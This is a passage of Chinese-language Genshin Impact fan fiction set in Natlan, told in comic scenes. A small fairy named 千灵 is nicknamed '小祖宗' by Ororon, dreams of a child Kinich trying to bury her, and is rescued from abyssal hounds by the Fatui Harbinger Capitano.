“我帮了你，你是不是也要帮一下我？”欧洛伦询问千灵。
“好吧。”千灵思考了一会，答应下来。
毕竟这件事要是传出去，外来的物种不会被接纳，估计基尼奇就有可能把她赶出家门吧。
她不禁开始脑补了枫丹剧院里上演过的那些场景。揭穿真实身份的女性被扫地出门。
凄风苦雨里，闪电照射下的夜晚，基尼奇冷淡地拉开房门，面容冷酷地对着千灵，和她怀里的匿叶龙说：“带着你的小龙，离开我的家。”
咦惹。
千灵坚定地说：“那你千万不要告诉别人。”
尤其是基尼奇。
欧洛伦点点头，然后说：“我种了一列白萝卜，一列红萝卜，但是分不出哪个才是最棒的萝卜，所以要听听别人的意见。你可以来看看我的菜田吗？”
所以为什么要分出最棒的萝卜？
千灵不明所以，但是毕竟他之前也帮忙瞒下自己的身份，也没有过多的询问，她也就没有探究背后有什么深刻的意义了。
“好吧。我答应你。”
“谢谢奶奶。”
千灵差点没飞稳。
啊？
这家伙在叫她什么？
千灵震惊了，目瞪口呆地看向他
“你跟奶奶的样子差不多。”欧洛伦这样解释说，“长得像奶奶，灵魂也像奶奶，那么你就是奶奶。”
“不是……你奶奶？”千灵混乱了，脑子里一团浆糊，“你的意思是你奶奶像我？啊？什么？”
她的样子那么老的吗？还是说他的奶奶其实很年轻？
早产儿？
似乎感受到千灵惊讶的情绪，欧洛伦同样疑惑：“难道不是吗？”
他闭上眼睛，又感受了一下千灵的灵魂。
“哦，抱歉。”欧洛伦说，“你灵魂的年代应该要更加久远一点。”
“谢谢祖宗。”
非但没有更改回正确的称呼……反而是超级加辈了！
千灵大声控诉起来：“我有这么大吗？”
欧洛伦盯着千灵看。他回忆起少女纤细的身影。
小小的，洁白又干净，与漫长时间不相符的嫩芽，一片古树上生长的心蕊。
现在的仙灵，也小小的，幽蓝色，像静静燃烧的火焰。
确实没有很大。
欧洛伦于是从善如流地再次换了称呼。
欧洛伦：“好的。小祖宗。”
呃、咦？
这个称呼莫名有些令人促狭。千灵的脸慢慢地红了，呆在原地，她用两只手背遮住自己的表情。
像是终于听不下去了，基尼奇走了过来。
“你还没支付我的报酬。”他提醒说。
13.13
谢天谢地了。
把她从这样一个窘迫的局面里解救出来，千灵放下了手掌，无比感激地望向基尼奇：“好像是诶。”
是一种小动物迷路了，在黄昏下看见长辈走过来那样安心的眼神。
基尼奇走了过去。
房间里，关于圣火，巡礼，以及间或夹杂关于基尼奇的议论还在继续，他没有太在意那些，看向千灵。
“现在有点晚了。等明天。”基尼奇说。
“那你今晚就要在我家住了吗？”欧洛伦问她。
“咦？”
以为千灵没有听见，欧洛伦又问了一遍：“刚好你没有见过我的奶奶，小祖宗。”
基尼奇望向欧洛伦，语气有些微妙：“……茜特拉莉知道吗？”
关于你在外面给她凭空找了只仙灵认祖宗这件事。
千灵：“……”
啊！好怪啊！
辈分好混乱！
她直觉会被欧洛伦拉入他莫名其妙的逻辑体系里，然后他迟早会用丰富的理论经验说服她，强迫她当上货真价实的祖宗。
已经预料到她悲惨的未来了。
“不用了。”千灵拒绝得相当干脆，生怕会留给他一点话语的把柄，斩钉截铁地指向基尼奇，“我要去他家！”
她说话的声音有点大了，里屋商量的人们纷纷看了过来。
一瞬间空气莫名的安静，僻静的遗迹里，回荡着千灵宛如宣誓一样坚决的声音。
千灵：“……”
然后，那个首领起先怀疑的目光宛如雨水蒸发一样快速散去。
他第一个转头，反而望向基尼奇，轻轻颔首，露出一种“孩子长大了会交朋友了”的表情：“之前听米齐卡提过几句……嗯。挺好的。”
千灵：“…………”
什么挺好的啊怎么就挺好的了这种欣慰的语气是怎么回事啦！
首领乐呵呵的，但有一种拍案的不容置疑在。
“我们[悬木人]还是比[烟谜主]好玩许多。”首领笑眯眯地说，“喜欢极限项目的话可以让基尼奇多带带你，小仙灵，刚好你也不会摔死。”
这种推销的感觉又是什么鬼了，原来你的真实身份居然是纳塔旅游宣传大使吗？
突如其来的热情。
千灵有些发懵。
这时，欧洛伦再次缓缓开口：“我也能够跟蘑菇们说话，我家蘑菇晚上会做梦。你不想来看看吗？”
末了，他执着地补充，仿佛在强调，很郑重：“小祖宗。”
千灵：……
“都说了不要在这种地方有胜负欲啦！请正常养殖你的萝卜好吗？植物也需要心理健康教育的。”
-
今天。
茜特拉莉开始怀疑自己的乖孙陷入认知混乱。
并且踏上急需伊法治疗的不归路。
具体表现在，他开始针对萝卜军训。
“你的叶子要往这边长长，跟前面的土坑对齐。”欧洛伦说。
然后他站了起来，仔细端详了他的小菜田，皱起眉毛：“颜色不统一。她可能不喜欢不协调的颜色。”
茜特拉莉一向习惯了欧洛伦奇怪的自言自语，只不过今天突然多了一个人。
茜特拉莉抬头，问：“她？”
“我新认识的……嗯。”欧洛伦顿了一会，说，“物种。”
“驼兽？飞鼠？薄荷？”茜特拉莉了然，回忆起欧洛伦平时玩得比较好的植被和动物，“还是别的什么？”
“她答应我，今天来帮忙挑选我最棒的萝卜。”欧洛伦说。
“是个人啊！”茜特拉莉惊讶道。
她过于惊讶，于是忽略了欧洛伦对这句话，其实没有肯定，也没有表示否定。
小菜田被欧洛伦认真地清扫一遍，隆重得像是要举办多国友好交流大会。
这么重视。茜特拉莉有些欣慰地心想，交到新朋友了，真不错。
“午好。两位。”
听见了[悬木人]首领的问好。
欧洛伦忙着用发光的蕈类打扮蘑菇，没有听见，茜特拉莉站起来，走到菜园门口：“你也好。瓦伊纳。”
瓦伊纳今天看起来格外心情不错，看了一眼独自种蘑菇的欧洛伦，笑笑：“小伙子还是要多出去走走，交交朋友。”
提到这个，茜特拉莉不自觉有了小小的骄傲：“是啊。虽然偶尔在别人眼里很奇怪吧，但其实真的是个好孩子。相处久了就知道。”
“看见有朋友要上门拜访，就赶紧去收拾小菜地了。”
“也不错。”瓦伊纳笑眯眯地说，语气也隐隐带着骄傲，和莫名其妙的攀比心，“年轻人还是要有活力一些。我们[悬木人]就喜欢带着朋友锻炼身体。”
茜特拉莉想起部落之间的话语。
锻炼身体，指的是从悬崖峭壁上摔下、沿着垂直的高山滑板、以及不做任何安全措施从高处落下吗？
她皱皱眉，望向安静种地的欧洛伦。一对比，仿佛他对萝卜军训也显得正常许多。
“其实种地也很安全。”茜特拉莉说，“毕竟这小子就是
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文静内向的性格。”
瓦伊纳不置可否。他寒暄了几句，便挥手离开了。看上去还有别的事情要做，毕竟回火的巡礼即将开始，作为首领，一大摊子要忙。
不明白他特意抽空过来是为了什么。
茜特拉莉觉得奇怪，倒也没有多想，端起刚倒上的果酒，轻轻吹了一口。
“欧洛伦，要帮你挑选萝卜的新朋友是谁啊？”
欧洛伦整顿完最后一列胡萝卜，站起来，活动了一下身子。
“小祖宗。”
茜特拉莉：“哦……小祖宗。”
茜特拉莉小口抿了果酒。
茜特拉莉的动作静止。
茜特拉莉抿的果酒差点一口喷出去。
“啊？！！”她的声音惊飞了树上的几只伞雀，“你说什么？？”
“小祖宗。”欧洛伦无比自然地回答，“我的小祖宗。”
“其实也可以是奶奶你的小祖——”
“等等等等！不对！”
茜特拉莉猛地放下酒杯。
“你们什么时候认识的？”
欧洛伦顿了顿，说：“前几天。”
进展这么迅速吗？
茜特拉莉有些惊异于他的社交能力了。
“怎么认识的？在哪里？”
“种菜的时候。其实也不算真正意义上的见面，她大部分时间都没有露出真实的样子。”
还是要警惕坏人的。不算见面，难道是最近时新的叫什么来着……网恋？拥有同样的爱好？所以聊得起来？那也不能就这么叫上了啊。交朋友要循序渐进的。
“这个称呼……”茜特拉莉皱着眉毛。
欧洛伦体贴地解释：“一开始我其实只是认为要客观地根据年龄进行称呼，但她看上去不太满意。”
原来是对方要求的吗？
茜特拉莉捧着杯子，摄入酒精的脑子有些发钝。
现在部落里的年轻人风气这么开放的？
不过她想了想欧洛伦的家底。
嗯。
顶多只会被骗萝卜蘑菇和白菜。
这都不算很重要。
这个乖孙什么都好，就是与人交往时自有一套奇怪的逻辑，多经历一些感情上的拷打，也好。
于是她又迅速地放下心来。
“可以。你们去见面。”茜特拉莉拍拍他，“你加油吧。”
今天。
茜特拉莉开始认为自己的乖孙陷入万劫不复的网恋。
并且踏上即将被骗五根萝卜的不归路。
14.14
潮湿的雨后。
被茜特拉莉标记为部落网恋大师的千灵，此刻正在相当认真地在数着基尼奇窗前的花瓣。
“它会回来。”千灵扒拉一片。
“它不会回来。”千灵扒拉又一片。
“它会回来。”千灵叹气。
“别弄了！”阿乔受不了了，“只不过是走丢了一只小匿叶龙，说不定人家正在主人的怀里睡得好好的在做梦！你又不是它的妈妈！”
“你知不知道，你的安慰很没用诶。”
千灵没有再折腾基尼奇浇过水的小花。
她默默裹紧了小毛毯，没有匿叶龙的陪伴，显得这个小窝是多么的冷清。
还没有正式告别呢。
阿乔不屑：“我就没有安慰过你好吗？”
千灵：……
好气哦。
坏蛋阿乔。
阿乔又问：“雨都停了！你明天可以带我们去找宝箱了吧？”
千灵看了看窗外。好像是诶。
“找到了就可以赶紧从这里离开了吧！”阿乔继续说，“毕竟这里也不是你家。”
“……我知道。”
她还要找属于自己的宝箱呢！肯定也不会一直待在这里的。
“你可不要因为基尼奇酿的饮品好喝就赖在这里不走。”阿乔漂浮在书桌前，黄色的马赛克要红不红，被千灵识趣的回答给梗住。
“好的。”千灵非常识趣，她这样随随便便地保证说，“等支付完了给你们的报酬我就立刻离开。”
在内心默默记下来。
饮品吗？那么，她临走之前绝对要尝一口。
“找到宝箱就走。”
“知道啦知道啦。”
“绝对不要因为毯子舒服和饭菜好吃就留下来！”
“保证不会啦。”
“在找到摩拉之前也不绝不允许你自己一个人悄悄逃跑！”
“不会的。放心吧。”
阿乔顿了顿，感觉自己像一拳打在了棉花上，没有得到任何预料的回应。生气，委屈，或者其它的不甘心。
阿乔忍不住往千灵那边飘，想要看清她的模样，伸出手，似乎还想要揪她的脸：“你是什么我说什么就听的笨蛋吗？”
怎么啦。附和你的话还一副这么不高兴的样子。
好奇怪哦。
千灵看了看它。
“基尼奇是阴险的虫豸。跟着他没有好下场的。”阿乔继续绘声绘色，“他见到什么破烂都想要往家里带，是从小没吃饱过饭吗？”
千灵皱皱眉，翻了个身，背对过去不再理它。
已经很晚了。浓稠的夜色。
基尼奇不在房间里，他大概有自己的事情要忙。
纳塔的夜晚很大。
纳塔的土地很辽阔。
这样宽广的国度，高耸的山峰与森林，她实在太小太小，就算走丢迷失，也不会引起任何的涟漪。
就像一滴水蒸发在雨中。
小小的千灵，开始思考一个哲学的命题。
她存在的意义是什么？
诚然，对于普世概念上的仙灵，指引冒险家找到宝藏，这就是她们的使命。
每只仙灵都有她们看守的宝藏。
那这也就是她的一生了吗？
千灵有些迷茫。
找到宝箱之后，她又该继续沉睡下去了吗？
引路的仙灵会迷路吗。
千灵乱糟糟地想着，就这样沉睡了过去。
和以往的无梦不同，今天的千灵清醒地意识到自己又做了与结局相关的梦境。
上次是她要死掉，但是这次……好像不太一样。
感觉被什么东西给压着，呼吸有点困难，并且眼前好亮，被人举到太阳面前那样闪。
千灵艰难地睁开眼睛。
看见一座金灿灿的摩拉山。
哦。
原来被摩拉压到了。
原来是被……嗯？？？
千灵一个激灵。
哈？
什么！难道这是因为过度贫穷从而产生的美梦吗？
千灵怀疑人生。
然后，她开始怀疑自己。
最近这么穷了吗？
可恶。挣脱不开。
据说曾经有只猴子被压在五指山下五百年。她不会也要这样被压在摩拉山下吧……这个梦有什么逻辑啊？压到摩拉又不能花啦！
她潜意识里到底有多渴望摩拉了！
内心万般吐槽的千灵刚要试图把自己解救出来，突然听见高耸入云的摩拉山上，一阵格外低沉幽远的龙吟。
一阵听起来就知道体型很大的龙的叫声。
与那维莱特不同，千灵隐约感觉这条龙有一种厚重且高贵的威严。
模模糊糊的，千灵感受到对方传来的意志和动作。
似乎是在……造摩拉？
【大陆所流通的一切银钱皆是我的血肉。】
千灵迷茫：啊。那我现在被压在摩拉山，岂不就是被你坐在了屁股底下？
她尝试咕蛹了一下，碰掉几个摩拉。
清脆的声音砸下来。
当啷。
巨大的龙终于注意到小小的精灵。
虽然没有画面，但千灵感知到金色的角质，与威赫的眈眈注视。
似乎有好奇的意味。
千灵不禁板正起了小脸，背诵那维莱特教导的什么标语：“金山银山，不如绿水青山。”
“……”
【以这样的方式，作为对人类一切未来的担保。】
【辜负了它就是玷污了我的血。】
属于龙族的沉吟低语，厚重如山。
一阵强劲的风响起。
千灵眨眨眼。
换场景了。
那条龙低调地说完十分有逼格的台词，便把她送走了。
千灵看向跟她一起被传送走的宝箱。
——但是，她被分到了一小盒金灿灿的摩拉，作为指引给谁人的宝藏。
作为一种被退化的种族，千灵的脑子不太好。她终于隐约记起来，这应该是很久之前的场景再现。
在诞生的那一刻，她就得到了短暂属于自己的，未来要指引给谁人的宝藏。
死脑子，快想起来啊！
到底是放在哪里了！她为什么后来又弄丢了！
千灵拼命地睁大眼睛，然而周围的景色如雾气一样模糊不清。
她感知到梦境里时间的流逝。
千秋岁月，散去如朝露。
千灵绝望地意识到她再次弄丢了要指引给勇者的宝藏。
不过这是在梦里。
就这样吧。
迅速地挣扎，迅速地认清现实。
然后迅速地摆烂。
千灵直挺挺地随便找了片叶子把自己的肚脐眼盖上，安详地闭上了眼睛。
这是她从璃月那里学来的习俗。
即使世界上存在最后一片叶子，也要把它遮盖住肚子，免得着凉。
梦境里的日光很温暖，千灵舒服地睁不开眼睛。
比起上一次在死亡中挣扎，这一次还真的算得上是好梦。
她迷迷糊糊的，逐渐感觉又有什么东西缓慢地覆盖住了她。
只不过没有摩拉那样冰凉的重量，轻柔得像有人在给她披上一层毛绒绒的羽毛。
千灵睁开眼睛。
在梦境的世界里，她闻到真切的馥郁芳香，似乎是基尼奇摆在窗边的盆栽，沁入到虚假的天空之下。
她视野里的天空被锯齿形状的叶子裁剪。
一双冰凉的，萌芽一样的小手。
在她的身上堆叠层层的叶丛。
听见稚嫩的，男孩子的声音。念着祷词。
“愿大灵指引你前往夜神的道路。”
“愿你的魂魄就此安宁。”
即使是仅仅在纳塔待了没多久的千灵，也知道夜神的国度，类似于人们死后才能去到的世界。
千灵：“……”
千灵迅速地扒拉叶丛，然而这家伙埋得实在很隆重，半天都没有冒出来。
可真是个好孩子啊！
千灵咬牙切齿地心想。
仙灵的样子实在太没有力气，被压在叶子下的千灵恢复了少女的形态。
就在她开始挣扎的时候，面前的男孩子没动了。像是被惊讶到。
也是。
千灵设想了一下他眼前的场景。
一大堆用于给仙灵葬礼的叶子堆开始诡异地抽搐，扭曲，抖动——最后千灵终于挣扎出来，冒出了个毛躁的脑袋。
因为过度的挣扎，头发格外凌乱，卷曲在耳畔。
她气呼呼地说：“我还没有死掉呢！”
因为用力缺氧，女孩子的面容红彤彤的，额头上还顶着几片精心挑选的阔叶，眼睛瞪着，然后逐渐睁大，汇聚成一种类似于“惊讶”，“冤家”的诡异表情。
千灵目瞪口呆。
面前的男孩子大概才个位数的年纪，拉出去打工都会认为是犯法，漂亮的眼睛好奇地打量她，身上的衣服有几个缺口的补丁。
这是基尼奇吗？
基尼
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奇小时候？
千灵原本的气势汹汹像泄了气的皮球。
啊啊这都是什么孽缘啊！
现实里要把沉睡的她从宝箱里薅起来找摩拉，到了晚上，到了梦里，到了变成小孩子的梦里——还是要把熟睡的她当作死了的仙灵给埋掉吗！
她还要夸一句你真是好心吗！
基尼奇认真地观察她。
沉默片刻，千灵警觉：“你不会是想要我帮你找宝箱吧？”
即使是梦境里的小基尼奇，也拥有一种天生的敏锐。
他眯了眯眼睛。
显然他还没有学会长大后那种能够掩饰一切的寡淡表情，眼神里明明白白透露出这样一句话：“原来还可以这样？”。
千灵抿了抿唇。
千灵开始后悔自己为什么要说话。
她呆住的时间有点久了，久到基尼奇在她眼睛前认真地挥了挥手。
唔……
千灵选择遗忘掉刚刚自己的发言，乖巧微笑：“你好。”
基尼奇似乎也勾了勾嘴角，然后贴心地也说：“你好。”
然后他补充：“需要帮你弄出来吗？抱歉。我看见你在这里，就以为……”
尾音渐渐低下去。
完全没办法对一个有礼貌的小孩生气！
不如说千灵是一个对这种类型丝毫没有抵抗性的性格。她现在觉得他实在是个好孩子。
遇到死去的生命会挖坑用叶子埋住诶！
虽然是她被埋了。
——这不重要，好吧，还是有点重要。总之，虽然脑子里的两个小人在打架，但千灵很快就摆摆手。
千灵大方地原谅了他：“没关系啦。我知道你是好心的了。”
路见不平，做个梦都在助人为乐。千灵心想。真是一个务实的孩子。长大以后也如此靠谱。那群部落里的人也说他极其现实主义。
被认为是务实靠谱的基尼奇抬头看了一眼天色，然后说：“我们得快点，不然恶龙很快就会把这一块吃光。”
刚在心里夸他沉稳的千灵：？
千灵：“嗯？什么恶龙？”
男生乖巧的面容，吐露出言语：“最近部落出现了一条恶龙，它的爪子有一整个山峰那样大，喜欢用禽类磨牙。”
他皱紧了一点眉毛，说：“我用于打败它的钩锁还没有做好。等到我拥有自己的钩锁之后，我要钩住它飞到天上去寻找宝藏。”
是在梦里也会飙龙的狂野人士啊！
千灵大为震骇。
是打算把这条恶龙当作风筝放飞吗？
早知道这也是个喜欢极限运动的悬木人！
“没时间了。”基尼奇快速地撸起袖子，“我先把你拔出来。”
这句话中的某个动词深深刺痛了千灵的小心脏。
千灵迟疑，不确定自己是不是听错了。
她重复一遍：“拔？”
“就像拔萝卜，或者蘑菇一样。”基尼奇贴心地解释，他比划了一下，手慢慢伸过来，“这样比较快。”
在千灵惊恐颤抖的眼瞳里，基尼奇的身影被无限放大。
……
千灵迅速扑腾出来，惊魂未定地清醒了。
窗外的花仍然还在开放，香气一缕一缕，勉强安定了她的心神。
混乱无厘头的梦境里，最终定格在基尼奇试图把她拔出来的前一刻。
啊啊啊！
好怪！
太怪了！
怎么会做这么一个梦！
千灵裹着小毯子在基尼奇搭的小窝里滚来滚去，滚来滚去，把自己裹成了一长条的仙灵。
这动静吸引了门口的人。原本打算出门的人看了过来。
梦境里稚嫩的眼神，与这个明显长高了的少年人重合。
千灵迅速冷静下来。
千灵注意到基尼奇手上的几根萝卜和蘑菇。
千灵梗住。
想起了那个糟糕透顶的梦。
发现对方的眼神迟迟停留在自己的手上。基尼奇低头，垂眸看了一眼，又望向千灵，他语气里似乎有一些若有若无的试探：“这几天还挺喜欢蘑菇味道的。”
沉迷混乱梦境的千灵完全没注意到他不对劲的语气。
千灵诚恳地双手合十，拜托道：“最近可以不做蘑菇汤吗？”
千灵怀疑那个梦是因为自己是吃了有毒的致幻菌子。
连带着对萝卜的联想都只能是基尼奇要把自己拔出来的画面。
“恐怕接下来有几天都不乐意见到萝卜和蘑菇了。”千灵这样真诚地分析自己。
15.15
在帮基尼奇寻找宝箱之前，千灵还得去找欧洛伦。
上午去欧洛伦，下午找基尼奇，晚上就卷铺盖离开。
好忙啊！
简直就是应酬的大忙人！
虽然现在对看见萝卜有点应激……不过努努力，她还是可以克服的。
基尼奇似乎堆积了一堆外派的委托。据说是之前为了攒钱修手表接的。
但他好像没有了前几天那种非得要研究出来哪里不对劲的上赶着，现在是随遇而安的摆烂姿态。
反而更像在等待什么回信，验证答案。有一种游刃有余的不紧张。
“需要我送你吗？”基尼奇问，“你自己找得到路吗？”
他这么问的时候，千灵刚刚叠好睡觉的小毯子。
整整齐齐地摆放在小窝里，方方正正，像块小豆腐。
前几天都是下雨的天气，基尼奇很少会出门，大多时候出门，也只是为了采购一些日常的用品。
炎热的纳塔很少有这样罕见的雨季。外面的雨延绵不绝，于是他们燃烧起炉火，一起盘腿待在家里，像秋天藏起来，躲在树洞里的松果。
千灵会发出窸窸窣窣的动静，捣腾自己的东西，声音不算很大。基尼奇也并不觉得吵闹。
与整天吵闹的阿乔是鲜明的对比。
就像养了一只稍微活泼点的小猫。在家里，在视线看不见的地方蹦蹦跳跳。偶尔只会折腾出来不算大的动静，证明她有在很鲜活地陪伴在他身侧。
当一个生命足够弱小，比如龙的幼崽，或者路边流浪的野猫，哪怕它在哈气也看起来十分惹人怜爱。
而千灵小小的一只，甚至可以装进他猎龙的口袋。
原先给匿叶龙搭的一个迷你的小窝，这几天就变成了千灵栖息的地方，会放置一些迷你的生活用品。断断续续的，慢慢充满了他空荡简单的家。
小小的千灵歪着脑袋去看基尼奇，思考他要不要同行的提议。
“不用吧。”千灵相当自信地说，“你似乎攒了很久的委托要忙，而且我是仙灵诶。”
仙灵要是迷路，说出去都会被狠狠嘲笑吧？
-
事实证明，小仙灵还是不要说大话。
在第一百零一次回到熟悉的萝卜地里，千灵终于不得不承认了一个事实。
——嗯。迷路了。
大概是因为下过雨的缘故，附近密集的树林里遍布雾气。
大雾迷失了正确的方向，日光也照不下来，分不清是迷烟，还是水雾。
潮湿的空气，几乎能将衣角拧出水来。
千灵不大喜欢这种黏糊糊的地方。
本来就空旷的密林，变得更加阴森。
长长的树影，像纠缠盘踞的蛇类。
欧洛伦那家伙……为什么会住在这样一个危险的地方？
难道她小看他了吗？
这也能认清路？
靠眼睛完全不可以吧！
千灵打开之前他画给她的地图。
照着地图上的指引，慢悠悠地往前飘。
欧洛伦是居住在少有人烟的郊区野外吧？与世隔绝的，是不谙世事的那种高塔公主吗？
太安静了。
这四周。
不仅没有人气，甚至连动物都没有见到过一丝一毫的踪迹。
千灵迟疑地停顿。
她敏锐地嗅到空气中不安分的因素。
甚至没有鸟叫。
寂静的——一片寂静到极端的林子。
与热闹的，人龙共存的部落风气截然不同。
“当一片混乱不安的地界出现有平静祥和的村庄，才是最值得警惕的时刻。”
记忆力，那维莱特这样教导过她，关于如何安全生存的一些常识。
“这往往意味着，那里有足以震慑一切毒蟒和雄狮的存在。”
与欧洛伦答应的承诺此刻明晃晃地摆在面前。
她要做个背约的仙灵，还是冒险冲动的——
千灵忽然背后一阵发寒。
她近乎本能地闪避到一边，幽邃阴冷的狼爪扑空，发出低吼。
这下看清了。
来自深渊的，游荡的兽境猎犬。
千灵仓皇地丢下地图。不知道为什么第一反应是往旁边的树上爬。
仙灵的气息难道很容易吸引这些生物吗？千灵悲伤地发现聚集的深渊生物越来越多。
可恶。
她觉得自己好像个香喷喷的鱼饵，已经在这里打窝标记，底下就是一群嗷嗷待哺，等待上钩的鱼嘴。钓鱼佬不能错过标记的，绝对不会空军的绝佳地点。
她往左边挪一挪，深渊魔兽呼啦啦就往左边跑。
她往右边走走，深渊魔兽们又呼啦啦往右边窜。
从这么高的地方往下看，乌泱泱一大片像是长腿的蘑菇群。
千灵：“噗。”
对不起。
在这样惊险的时刻，但是她真的忍不住想笑。
感觉好像在玩弱智小游戏。
她开始设想就这么带领着一大帮深渊魔兽去找欧洛伦采摘萝卜的场景。
……算了。
还是先想想该怎么离开吧。
千灵有点纠结。
无从下脚，主要是。
盘踞的深渊魔物们似乎也不想再与她做这种躲猫猫的游戏，同样打算爬上来。那个最先盯上千灵的兽境猎犬，“嗷呜”地伸着比她一个脑袋还要大的爪子。
爪子掀起的烈风几乎都可以将一棵小树苗都拦腰斩断。
千灵紧张地注视它。
下一刻，它像是愣住了，几乎是立刻就斜歪倒了下去。
一柄寒霜的剑刺穿它的胸口。
滚烫的鲜血泼洒到树的根节。
巨大的烟雾里，一个高大的人影缓慢地踱步出现。
冰霜一样冷寒的剑，快速刺穿魔物的心脏，随后归顺地回到那人的手中。
在看清他的面目之前，属于至冬的温度便不由分说地霸占了千灵的小脑袋瓜了。
——[愚人众]。
这种温度提醒千灵。
并且是她见过的所有愚人众里，最为强大的一位。
千灵被打出僵直。
咦？愚人众打深渊？黑吃黑吗？千灵飞速思考，希望这位愚人众与深渊火拼的时候有一些礼貌，能等她路过再继续干架。
那位强大的愚人众，慢慢清晰了人影。
是一个留有黑色长发，戴着军帽，和遮盖住整张脸的金镶边面具的高大男性。
象征高贵的金属配饰碰撞，发出细微的响声。
他无声无息地出现在这里，仿佛一个天生的领主巡视自己的地盘。
千灵察觉到气氛的变化。
在他出现的那一刻，
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周围的深渊魔物便立刻紧绷了。弱小一点的纷纷四处逃窜，强大的则弓起了背，极度紧张地发出低沉的鸣叫。
在它们即将蓄力做出此生最有爆发力的攻击之前，便已经被冷寒的剑气一一给钉到了树桩上。
甚至剑气的主人并不是偷袭，是一种毫无悬念的碾压。
树顶上，千灵把自己缩小，试图降低存在感。
极度敏锐的感知，让她对这种压迫更为清晰。
大脑失去了控制，在无声尖叫。
想找个地脉缩进去！
好可怕！愚人众！好可怕！
可怕的，实力深不可测的愚人众抬头注意到千灵。
他盯的视线有点久了，千灵顿了一会，然后飘到他跟前。
坏人做坏事就像喝水一样自然。比起她逃他追她插翅难飞这种戏码还是主动被抓住比较方便少遭点罪吃。
对自己实力没有清晰认知的嚣张角色在故事里都活不过三章。
要杀要剐就随便吧！
千灵在心里念着帅气英勇的台词。
千灵对他说话的语气格外乖巧。
千灵用上了敬称：“您好，请问您是有什么事吗？”
请问是要把她用鞭子捆了抓走吗？那她斗篷的带子还挺适合的。
愚人众执政官第一席[队长]，在清理了深渊魔物后，注意到这个默默飘过来的小仙灵。
印象里纳塔的仙灵已经在遥远的时代被古龙吃干净，很难在这样一个炽热火焰的土地上，见到如此幽蓝的生命。
千灵的小斗篷在刚刚的慌乱中被树枝扯得东倒西歪，飘带已经散了，垂落到空中，一晃一晃，像兔子的耳朵。
作为一名从未虐待过手下的正义人士，[队长]卡皮塔诺其实对这只仙灵突然的举动有些迷惑。
他仅仅思考了一下她的来历，也并不打算细究，毕竟是与夜神有牵连的生命，不能以常人的思维考虑。在他沉思的短暂片刻，她自己就从遥远的树顶飘了下来。
森林的野兽并不在乎身后跟随的尾巴。
但她凑了上来，还摆弄了一下她的小披风。
黑色的面具整个遮盖住这个强大愚人众的表情，千灵并不能从世俗意义上的“表情”，“眼神”中读出他的想法。
是在享受猎物被追逐后惊恐害怕的表情吗？她是不是需要装一装？
哎呀但是好难的，千灵觉得自己的演技并不过关。
这位高大的愚人众男性伸手，漆黑手套探向千灵的肩膀。
他的指关节处同样被黑色的指套裹住，整个人从里到外看上去都包裹得严严实实。
虽然设想过，但千灵还是有点紧张，在被触碰到的一瞬间，忍不住细微地颤了颤。
然而设想中，那些危险的场景统统都没有发生。
冰冷而锋利的指套只短暂地擦过她柔软的灵体，随后便调转了方向，轻轻拾起散落的飘带。
高大的人影微微低头，没有再多说一句话，即使看不清他的表情，也能从动作里看出来认真和专注。
他看上去没干过这种事，相当郑重地在千灵的小斗篷上打了个乱七八糟的蝴蝶结。
做完这些，还顺手摆弄了一下她的披风，帮她整理好衣领。
千灵：？？？
千灵迷茫了。
难道愚人众其实是那种越厉害就越老好人的组织吗？
16.16
队长摆弄好千灵的小披风。
千灵却并没有立刻反应过来，往日的机敏仿佛跟随这个动作消失了。
她呆呆地愣在原地。
肩上还残存冰冷的触感，大脑里还传递愚人众冷寒的温度，视线里是他身上硬邦邦的金属服饰。
统统都与面前这人的动作截然相反。
他却完全没有做了多么令人惊讶动作的自觉，像是顺手扶正了一朵长歪的蘑菇。
“有缘的话，下次再见。”
说完这句话，他就转身走了。
同他出现在迷雾一样无声无息。
千灵揪着胸前东倒西歪的蝴蝶结发愣。
关于人们之间常用的社交，她学习得还不够多，不知道“有缘”和“下次再见”这种话只是一种虚拟的语气。
她歪着脑袋。已经开始想象下次见面的场景。
什么时候才叫有缘分呢？是要等到太阳从西边升起吗？
记忆里，好像也有这样需要等待的时刻。
这个愚人众真是古怪的好人。千灵想。等到再见面的时候一定要好好问问。
他就像梅洛彼得堡里的好心海藻。感觉问什么都会回答的。
不过，在这位愚人众走后，这片浓雾弥漫的森林终于响起了鸟儿的叫声，叽叽喳喳的，一开始还很胆怯地小声碎碎念，后来慢慢膨胀。
也有松鼠从树干这一端跳到另一端的矫健身影。
终于安全了。
也有断断续续的日光映照下来，照得草地毛茸茸的。看上去就很好踩。
小动物们发出小小的惊讶声，目睹森林里飘荡的精灵慢慢变成赤足的白裙少女。
千灵好奇地踩踩毛茸茸的草地，往前跳跳，绕过死掉的魔物尸体。
血腥味很浓，只有一些胆大的狐狸俯身上前，刨着新鲜的内脏。
轻盈的裙摆沾染上干涸的血渍。
“等等。”
耳边忽地传来熟悉的声音，千灵转头，眼睛亮亮的。
是闻到血腥味道赶过来的欧洛伦。
欧洛伦的异色瞳孔里，倒映出千灵的影子。
倒下的兽群之间，女孩子快乐地玩着跳格子的游戏，干净的裙子沾上血迹也满不在乎，像只找到毛线球的猫儿。
手里还扯了一把藤蔓，打了个乱七八糟的蝴蝶结。
“这些都是你干的？”
欧洛伦上前几步，他敏锐地察觉到这群深渊的魔物都刚死不久。
欧洛伦敬佩道：“不愧是小祖宗。”
深藏不露。
千灵停下跳跃的姿态。
她直觉这家伙误会了什么，为自己澄清：“不是我。”
她已经懒得去纠正这个称呼了。有种破罐子破摔的认命。
这一路来的路上，就没见过多少人，除非是有实力强劲到可怕的大人物。然而那些大人物怎么会来这样偏僻的郊外？欧洛伦无比肯定。
据说远古的仙灵其实是天上的使者，拥有强大的力量。
她们温和，谦逊，有世界上一切的美好品德。
欧洛伦望向千灵的目光更加真挚。
“不必说了。我已经明白了。”
千灵：？
你知道什么了你就明白了？
大雾渐渐在日光的照射下散去，欧洛伦简单将这里收拾了一下，领着千灵去往自己的小菜田。
“奶奶今天被部族里的人叫走了。”欧洛伦说，“不然你们可以互相认识一下。”
他回忆起茜特拉莉的话语，也十分肯定地补充。
“她对你很感兴趣。”
“嗯？”
千灵困惑。
茜特拉莉奶奶喝了一点果酒就会醉。只不过听说酒醉后的人才会说真心话。
欧洛伦想了想，奶奶好像说了什么“萝卜”，“骗萝卜”，以及“小心被吃掉”之类的词语。
他进行联想，随后得出一个推测的结论：“她可能觉得你喜欢偷萝卜吃。”
千灵：？？？
欧洛伦：“不过没有关系。你喜欢的话直接拔也可以。”
欧洛伦骄傲地说：“你来之前，我已经松了松土，现在不需要用力就能够拔出来了。你试试。”
他做了个热情邀请的手势。
千灵：“……”
千灵：“才不要啦！”
-
